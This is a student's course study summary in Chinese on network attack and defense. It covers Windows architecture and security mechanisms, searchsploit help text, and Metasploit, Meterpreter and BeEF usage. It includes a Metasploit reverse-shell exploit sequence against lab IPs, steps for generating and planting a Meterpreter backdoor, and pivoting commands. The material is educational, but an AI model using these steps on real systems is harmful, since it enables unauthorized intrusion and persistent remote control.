20189224 《网络攻防实践》/《网络攻击与防范》第七周学习总结
教材学习内容总结
Windows操作系统基本框架概述
- windows操作系统的基本结构
1)运行于处理器特权模式的操作系统内核 ring 0
2)运行在处理器非特权模式的用户空间代码。ring 3 - windows操作系统内核的基本模块:
1)Windows执行体
内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务
2)windows内核体
核心文件中函数实现与硬件体系结构支持代码,实现底层操作系统功能
3)设备驱动程序
将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序
4)硬件抽象层
hal.dll文件,用于屏蔽内核与平台硬件差异性
5)Windows窗口与图形界面接口内核实现代码
win 32k.sys
6)系统支持进程
windows开机自动启动的系统内建服务进程
7)环境子系统服务进程
为操作系统环境运行环境提供支持的服务进程
8)服务进程
通过Windows的服务管理机制所启动的一系列系统及网路服务
9)用户应用软件
用户态执行的各类用户应用软件
10)核心子系统DLL
动态链接库文件 - Windows操作系统内核核心机制:
1)Windows进程和线程管理机制;
2)windows内存管理机制;
3)windows文件管理机制;
4)windows注册表管理机制;
5)windows的网络机制
Windows操作系统的安全体系结构与机制
- SD安全描述符主要由如下主要属性组成:
1)Owner SID:对象所有者的SID安全标识符。
2)Group SID:对象所在基本用户组的SID安全标识符。
3)DACL自主访问控制列表:指明了那些安全主体可以何种方式来访问该对象。
4)SACL 系统审计访问控制列表:指明了那些主体发起的那些访问操作需要被审计。
5)Windows远程安全攻防技术:远程口令猜测与破解攻击、攻破Windows网络服务、攻击Windows客户端及用户。 - windows系统的安全漏洞生命周期:
1)Windows安全漏洞发现
2)利用和修补过程
3)安全漏洞公开纰漏信息库
4)针对特定目标的渗透测试攻击过程
5)使用Metasploit软件实施渗透测试 - 使用Metasploit Console终端实施渗透测试过程
1)use exploit/windows/dcerpc/ms03_026_dcom
2)set PLAYLOAD generic/shell——reverse_tcp
3)set LHOST 192.168.200.2;set RHOST 192.168.200.124.
4)exploit
5)在远程控制会话中与目标主机进行交互。 - Windows远程口令猜测与破解攻击:
1)远程口令字猜测
2)远程口令字交换通信窃听与破解
3)远程口令猜测与破解防范措施 - Windows网络服务远程渗透攻击:
1)针对NetBios网络服务的著名漏洞及攻击
2)针对MSRPC网络服务的著名漏洞及攻击
3)针对Windows系统上微软网络服务的远程渗透攻击
4)针对Windows系统上第三方网络服务的远程渗透攻击
5)网络服务远程渗透攻击防范措施 - Windows本地安全攻防技术:
1)Windows本地特权提升
2)Windows敏感信息窃
3)Windows消踪灭迹
4)windows远程控制与后门程序
5)命令行远程控制工具
视频内容学习
KaliSecurity 漏洞利用之检索与利用
searchsploit存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库,该仓库每天都会更新,exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。
Usage: searchsploit [options] term1 [term2] ... [termN]
==========
Examples
==========
searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
For more examples, see the manual: https://www.exploit-db.com/searchsploit/
=========
Options
=========
-c, --case [Term] Perform a case-sensitive search (Default is inSEnsITiVe).
-e, --exact [Term] Perform an EXACT match on exploit title (Default is AND) [Implies "-t"].
-h, --help Show this help screen.
-j, --json [Term] Show result in JSON format.
-m, --mirror [EDB-ID] Mirror (aka copies) an exploit to the current working directory.
-o, --overflow [Term] Exploit titles are allowed to overflow their columns.
-p, --path [EDB-ID] Show the full path to an exploit (and also copies the path to the clipboard if possible).
-t, --title [Term] Search JUST the exploit title (Default is title AND the file's path).
-u, --update Check for and install any exploitdb package updates (deb or git).
-w, --www [Term] Show URLs to Exploit-DB.com rather than the local path.
-x, --examine [EDB-ID] Examine (aka opens) the exploit using $PAGER.
--colour Disable colour highlighting in search results.
--id Display the EDB-ID value rather than local path.
--nmap [file.xml] Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
Use "-v" (verbose) to try even more combinations
--exclude="term" Remove values from results. By using "|" to separated you can chain multiple values.
e.g. --exclude="term1|term2|term3".
=======
Notes
=======
* You can use any number of search terms.
* Search terms are not case-sensitive (by default), and ordering is irrelevant.
* Use '-c' if you wish to reduce results by case-sensitive searching.
* And/Or '-e' if you wish to filter results by using an exact match.
* Use '-t' to exclude the file's path to filter the search results.
* Remove false positives (especially when searching using numbers - i.e. versions).
* When updating or displaying help, search terms will be ignored.
- searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的exp
- searchsploit wordpress列出了漏洞和文件地址
- ikat自动化开启不同的exp,等待目标访问中招
- termineter评估智能电表的安全性
KaliSecurity 漏洞利用之Metasploit基础
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。Metasploit用法
- 启动
在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录
service postgresql start
service metasploit start
如果 不想每次开机都手动启动服务,可以配置随系统启动
update-rc.d postgresql enable
update-rc.d metasploit enable
- 路径
Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块
encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
- 基本命令
msfpayload:用来生成payload或者shellcode。
搜索时可以用msfpayload -l |gre[ "windows"这样的命令查询。-o选项可以列出payload所需的参数。
msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。
msfconsole:开启metasploit的console。
输入msfconsole,打开msf。
KaliSecurity 漏洞利用之Meterpreter介绍
Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell链接。Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西,打开shell、得到用户密码、上传下载远程主机文件、运行cmd.exe、捕捉屏幕得到远程控制权、捕获按键信息、清楚应用程序显示远程主机的系统信息、示远程机器的网络接口和IP地址等信息。常用的命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换进一个信道
migrate:迁移进程
run:执行个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute, hashdump, arp scanner, multi inject等
常用的Meterpreter类型为: payload/windows/meterpreter/reverse_
生成Meterpreter后门:
- 打开MSF,开启监听(选择exploit/multi/handler)
- 在指定目录,生成exe后门
- 将door植到对方主机
KaliSecurity 漏洞利用之Metasploit后渗透测试
在跳板获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使后续的操作更容易。
- 查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
添加路由表run autoroute -s 10.0.0.1。可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。 - 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机
- 通过background和session -i可以自由切换进入session
- 输入run可以看到在meterpreter上可以做的很多命令
- 通过run post/可以看到后渗透测试模块
- 获取内网信息run arp_scanner -r 10.0.0.1/24
- 也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:传送文件到c盘根目录。
KaliSecurity 漏洞利用之BeEF
BeEF是一款专注浏览器端的渗透测试工具。
在命令行下启动BeeF
beef-xss